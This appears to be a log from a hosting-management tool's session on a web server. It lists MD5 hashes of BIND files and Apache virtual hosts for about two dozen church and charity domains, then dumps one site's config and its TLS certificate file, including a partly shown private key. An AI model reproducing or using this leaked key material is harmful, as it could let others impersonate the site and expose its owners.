MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-09 11:20:19: Establishing a connection
2025-10-09 11:20:19:
PUT: /tmp/pkp966575
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-09 11:20:19:
chmod 755 /tmp/pkp966575; /tmp/pkp966575; rm /tmp/pkp966575
2025-10-09 11:20:19:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-09 11:20:19:
PUT: /tmp/pkp223424
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 11:20:19:
chmod 755 /tmp/pkp223424; /tmp/pkp223424; rm /tmp/pkp223424
2025-10-09 11:20:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf 1362
<VirtualHost *:80>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 11:20:19:
PUT: /tmp/pkp121118
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 11:20:19:
chmod 755 /tmp/pkp121118; /tmp/pkp121118; rm /tmp/pkp121118
2025-10-09 11:20:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt 5365
21:03:60:73:69:20:19:5a:2e:d2:79:96:5b:57:94:3f
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBroQFSy3DXAJhj0iOpYAjfcDMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTAxOTMxWhcNMjYwMTA3MTAxOTMwWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAOLYaj5wmV+oUiXkuQMjwDNB++vwX7U0QK5niWvwV+cxvF4WKjHL
r6vn4HqE4q4EzERKIirHlH1Uf3Z0ASEZjX4cYxsHX+T8Yz702TaWG5EG2ER+jsc+
GmWk6s5Eo9vfL3yQx5YfPPvcSAFXoP8KdMvD7IMNNiVrx2jdmPwMXf6ypvzlSXR2
JcKZVTGQRgpRlXLvDVY7UkqcR6/XCCWnQnbHoBCoTaEvc+RG1wAMHbfXWB9TC6nV
QON4QG4vgbOTOKaaZsetFVPGTxFzU4r+oCwAUxypHxS058ueM7cnaoEyMGED+arH
/3BjazKLAcQbsUFnjNRFdAQFZAKeTKkEjRcCAwEAAaOCAiYwggIiMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUrH86LHHv9SF5d312SyLsIyn84jQwHwYDVR0jBBgwFoAU
ALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdjYXJlbGlua3Nh
dXN0cmFsaWEuaW5mbzATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKg
IKAehhxodHRwOi8vcjEyLmMubGVuY3Iub3JnLzQuY3JsMIIBBAYKKwYBBAHWeQIE
AgSB9QSB8gDwAHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGZ
yLE23QAABAMARzBFAiEAkgR7XTyxLedPjdDAcNigDAmL3wcjNYvWka6QV8LW4l8C
ICOL+DLCt3VhRZe21a/xpJSglYy59o5TXssCFAtNFZWgAHYAlpdkv1VYl633Q4do
NwhCd+nwOtX2pPM2bkakPw/KqcYAAAGZyLE3AwAABAMARzBFAiANcUZxd/eZE3v3
jdy0lqykU7rVG6uu2oiDPI3XcGW0EAIhAMUa32XDhQTFvDxWihTuWjr8Ncia9ATy
qrTtH+xqorARMA0GCSqGSIb3DQEBCwUAA4IBAQCiaagkAJsOHrzKWC3LHq3DjFVl
sDdClIVdzB/2W1ZgLrCZSJ/bCS5ObjjREy98LhRBzdFW45TVTWtKlBOS+U1O50qx
FjVeOz4Tv38CoiUK3D7PaZDhhCfrX3C5jkkmkKZ9aaDOEBmi0SBCm+c4XBbV60SK
NXuEZ3qr9Yw1kSC+6we6PgHbI/uaBVAGlOwclyOrkkGFnkkAMwONYhPGWo8vqpjY
avu7HNr5XVqr/A0C09VK3zAUuhLW/n+WU2NfjQqSy2bxvfMn5ZeKOCZ7jpiYenIz
lPEFlxOSjVpQzW4lYG0q28Gh0MvBIURqeXNztSFRc6HaGefFALJovBUaw/xW
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDi2Go+cJlfqFIl
5LkDI8AzQfvr8F+1NECuZ4lr8FfnMbxeFioxy6+r5+B6hOKuBMxESiIqx5R9VH92
dAEhGY1+HGMbB1/k/GM+9Nk2lhuRBthEfo7HPhplpOrORKPb3y98kMeWHzz73EgB
V6D/CnTLw+yDDTYla8do3Zj8DF3+sqb85Ul0diXCmVUxkEYKUZVy7w1WO1JKnEev
1wglp0J2x6AQqE2hL3PkRtcADB2311gfUwup1UDjeEBuL4GzkzimmmbHrRVTxk8R
c1OK/qAsAFMcqR8UtOfLnjO3J2qBMjBhA/mqx/9wY2syiwHEG7FBZ4zURXQEBWQC
nkypBI0XAgMBAAECggEAMD2XsnmdlEMmXRqb4bgLmprwqQcwQ0e+bZhlGAg/mVHx
XgzWokpPrH4eNc/mqN0qV2dwhqp0wIZkqNsYlmJpvaTpyoix8u9dZ7kILFyVtiy/
dyl20ZY6ZN1CdeUQ96Qp5BKh7yHrhSAeS/LHsRUXK3IZ7PC1UBXwjTN64jb7Ejuj
WI61nlvATRNZNBaGG7heqqbvoVao88wHiWr4fw8EAgRXt1lTexVqX+OchUssJQ8e
bKHxfM7Dfa9aOgGTNFI1iYJ2ySITDkmh9P+IsqSthWtqz3QYuJydJPN8Gz9vnuS6
LjLmMzGukw/JhD1blehvKrWFR6FbIc+2ezvGoW0eEQKBgQD0Aarwg/72Qwwou9LI
y4WmuEvzsSMPj7Dn9A+7k4XtMtHF09JhH4U8iCpXCPaHlMUOzejiCGPWQYFGShIm
UAZ9XHvjwwPHrsjhRbwHPqw9x6noNSpsaoMkKrHcBuyIbPPqLX5rUJzDuGf+rer3
